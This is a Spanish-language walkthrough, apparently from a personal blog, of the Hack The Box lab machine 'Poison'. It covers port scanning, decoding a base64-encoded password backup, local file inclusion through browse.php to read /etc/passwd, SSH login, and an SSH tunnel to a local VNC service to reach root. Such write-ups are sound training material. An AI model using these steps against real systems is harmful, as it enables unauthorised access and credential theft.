Entrada

Poison

Poison

Poison FreeBSD · Easy - Adventure mode

🔭 Reconocimiento:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(pmartinezr㉿kali)-[~]
└─$ nmap -p- -sSVC --min-rate 5000 10.129.1.254
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-09 11:20 +0100
Warning: 10.129.1.254 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.129.1.254
Host is up (0.044s latency).
Not shown: 41608 filtered tcp ports (no-response), 23925 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2 (FreeBSD 20161230; protocol 2.0)
| ssh-hostkey:
|   2048 e3:3b:7d:3c:8f:4b:8c:f9:cd:7f:d2:3a:ce:2d:ff:bb (RSA)
|   256 4c:e8:c6:02:bd:fc:83:ff:c9:80:01:54:7d:22:81:72 (ECDSA)
|_  256 0b:8f:d5:71:85:90:13:85:61:8b:eb:34:13:5f:94:3b (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((FreeBSD) PHP/5.6.32)
|_http-server-header: Apache/2.4.29 (FreeBSD) PHP/5.6.32
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 141.47 seconds

Solo 2 puertos abiertos.

posion_web

La web muestra un formulario y varias sugerencias

poison_web_listfiles

Al visitar listfiles.php llama la atención pwdbackup.txt está claro que habrá que visitarlo

poison_web_encode_base64

Accedemos a dicho archivo con el navegador y se nos indica que el archivo ha sido encodeado al menos 13 veces, acompañado de lo que parece base64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(pmartinezr㉿kali)-[~]
└─$ echo "Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVU
bGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZDBS
bVZHV25SalJYUlVUVlUxU1ZadGRGZFZaM0JwVmxad1dWWnRNVFJqCk1EQjRXa1prWVZKR1NsVlVW
M040VGtaa2NtRkdaR2hWV0VKVVdXeGFTMVZHWkZoTlZGSlRDazFFUWpSV01qVlRZVEZLYzJOSVRs
WmkKV0doNlZHeGFZVk5IVWtsVWJXaFdWMFZLVlZkWGVHRlRNbEY0VjI1U2ExSXdXbUZEYkZwelYy
eG9XR0V4Y0hKWFZscExVakZPZEZKcwpaR2dLWVRCWk1GWkhkR0ZaVms1R1RsWmtZVkl5YUZkV01G
WkxWbFprV0dWSFJsUk5WbkJZVmpKMGExWnRSWHBWYmtKRVlYcEdlVmxyClVsTldNREZ4Vm10NFYw
MXVUak5hVm1SSFVqRldjd3BqUjJ0TFZXMDFRMkl4WkhOYVJGSlhUV3hLUjFSc1dtdFpWa2w1WVVa
T1YwMUcKV2t4V2JGcHJWMGRXU0dSSGJFNWlSWEEyVmpKMFlXRXhXblJTV0hCV1ltczFSVmxzVm5k
WFJsbDVDbVJIT1ZkTlJFWjRWbTEwTkZkRwpXbk5qUlhoV1lXdGFVRmw2UmxkamQzQlhZa2RPVEZk
WGRHOVJiVlp6VjI1U2FsSlhVbGRVVmxwelRrWlplVTVWT1ZwV2EydzFXVlZhCmExWXdNVWNLVjJ0
NFYySkdjR2hhUlZWNFZsWkdkR1JGTldoTmJtTjNWbXBLTUdJeFVYaGlSbVJWWVRKb1YxbHJWVEZT
Vm14elZteHcKVG1KR2NEQkRiVlpJVDFaa2FWWllRa3BYVmxadlpERlpkd3BOV0VaVFlrZG9hRlZz
WkZOWFJsWnhVbXM1YW1RelFtaFZiVEZQVkVaawpXR1ZHV210TmJFWTBWakowVjFVeVNraFZiRnBW
VmpOU00xcFhlRmRYUjFaSFdrWldhVkpZUW1GV2EyUXdDazVHU2tkalJGbExWRlZTCmMxSkdjRFpO
Ukd4RVdub3dPVU5uUFQwSwo=" | base64 -d | base64 -d |base64 -d |base64 -d |base64 -d |base64 -d |base64 -d |base64 -d |base64 -d |base64 -d |base64 -d |base64 -d |base64 -d
Charix!2#4%6&8(0

Al decodearlo las 13 veces aparece una contraseña.

1
2
3
4
5
6
7
8
9
GET http://10.129.1.254/browse.php?file=browse.php HTTP/1.1
Host: 10.129.1.254
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Connection: keep-alive
Referer: http://10.129.1.254/
Upgrade-Insecure-Requests: 1
Priority: u=0, i

Capturando con Zap proxy se puede ver como funciona browse.php y como se le pasa el parámetro file=browse.php

poison_web_etc_password

Pues jugando un poco con el encode URL conseguimos acceder al archivo /etc/passwd y aparece el usuario charix

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
┌──(pmartinezr㉿kali)
└─$ ssh charix@10.129.1.254
The authenticity of host '10.129.1.254 (10.129.1.254)' can't be established.
ED25519 key fingerprint is: SHA256:ai75ITo2ASaXyYZVscbEWVbDkh/ev+ClcQsgC6xmlrA
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.1.254' (ED25519) to the list of known hosts.
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
(charix@10.129.1.254) Password for charix@Poison:
Last login: Mon Mar 19 16:38:00 2018 from 10.10.14.4
FreeBSD 11.1-RELEASE (GENERIC) #0 r321309: Fri Jul 21 02:08:28 UTC 2017
Welcome to FreeBSD!
Release Notes, Errata: https://www.FreeBSD.org/releases/
Security Advisories:   https://www.FreeBSD.org/security/
FreeBSD Handbook:      https://www.FreeBSD.org/handbook/
FreeBSD FAQ:           https://www.FreeBSD.org/faq/
Questions List: https://lists.FreeBSD.org/mailman/listinfo/freebsd-questions/
FreeBSD Forums:        https://forums.FreeBSD.org/
Documents installed with the system are in the /usr/local/share/doc/freebsd/
directory, or can be installed later with:  pkg install en-freebsd-doc
For other languages, replace "en" with a language code like de or fr.
Show the version of FreeBSD installed:  freebsd-version ; uname -a
Please include that output and any error messages when posting questions.
Introduction to manual pages:  man man
FreeBSD directory layout:      man hier
Edit /etc/motd to change this login announcement.
Simple tcsh prompt: set prompt = '%# '
charix@Poison:~ % cat user.txt
eaacdfb2d141b72a************

Era de imaginar que podemos conectar por SSH y obtener la flag de usuario.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
charix@Poison:~ % sockstat -l -P tcp
USER     COMMAND    PID   FD PROTO  LOCAL ADDRESS         FOREIGN ADDRESS
www      httpd      2266  3  tcp6   *:80                  *:*
www      httpd      2266  4  tcp4   *:80                  *:*
www      httpd      2184  3  tcp6   *:80                  *:*
www      httpd      2184  4  tcp4   *:80                  *:*
www      httpd      2167  3  tcp6   *:80                  *:*
www      httpd      2167  4  tcp4   *:80                  *:*
www      httpd      2153  3  tcp6   *:80                  *:*
www      httpd      2153  4  tcp4   *:80                  *:*
www      httpd      2148  3  tcp6   *:80                  *:*
www      httpd      2148  4  tcp4   *:80                  *:*
www      httpd      2145  3  tcp6   *:80                  *:*
www      httpd      2145  4  tcp4   *:80                  *:*
www      httpd      2059  3  tcp6   *:80                  *:*
www      httpd      2059  4  tcp4   *:80                  *:*
www      httpd      1977  3  tcp6   *:80                  *:*
www      httpd      1977  4  tcp4   *:80                  *:*
www      httpd      1971  3  tcp6   *:80                  *:*
www      httpd      1971  4  tcp4   *:80                  *:*
www      httpd      1835  3  tcp6   *:80                  *:*
www      httpd      1835  4  tcp4   *:80                  *:*
root     sendmail   721   3  tcp4   127.0.0.1:25          *:*
root     httpd      704   3  tcp6   *:80                  *:*
root     httpd      704   4  tcp4   *:80                  *:*
root     sshd       699   3  tcp6   *:22                  *:*
root     sshd       699   4  tcp4   *:22                  *:*
root     Xvnc       608   1  tcp4   127.0.0.1:5901        *:*
root     Xvnc       608   3  tcp4   127.0.0.1:5801        *:*

El comando sockstat nos muestra los puertos de escucha, donde econtramos una instancia de Xvnc corriendo.

👽 Acciones:

1
2
3
┌──(pmartinezr㉿kali)-[~/htb/poison]
└─$ scp charix@10.129.1.254:secret.zip .
unzip secret.zip

Como en el directorio de charix se encuentra un archivo secret.zip, nos lo descargamos

1
2
┌──(pmartinezr㉿kali)-[~/htb/poison]
└─$ ssh -L 5901:127.0.0.1:5901 charix@10.129.1.254

Creamos un tunel SSH para conectarnos al servicio de Xvnc que corre en la máquina ya que dicho servicio escucha en localhost

1
2
┌──(pmartinezr㉿kali)-[~/htb/poison]
└─$ xvncviewer 127.0.0.1:5901 -passwd secret

poison_xvnc

Finalmente usando el archivo secret como clave para la conexión por Xvnc a través del tunel SSH conseguimos la clave de root. La copio al directorio de charix para poder copiarla directamente y le doy los permisos de propietario para hacer más sencillo el copiado y pegado desde el terminal

achivement

Esta entrada está licenciada bajo CC BY 4.0 por el autor.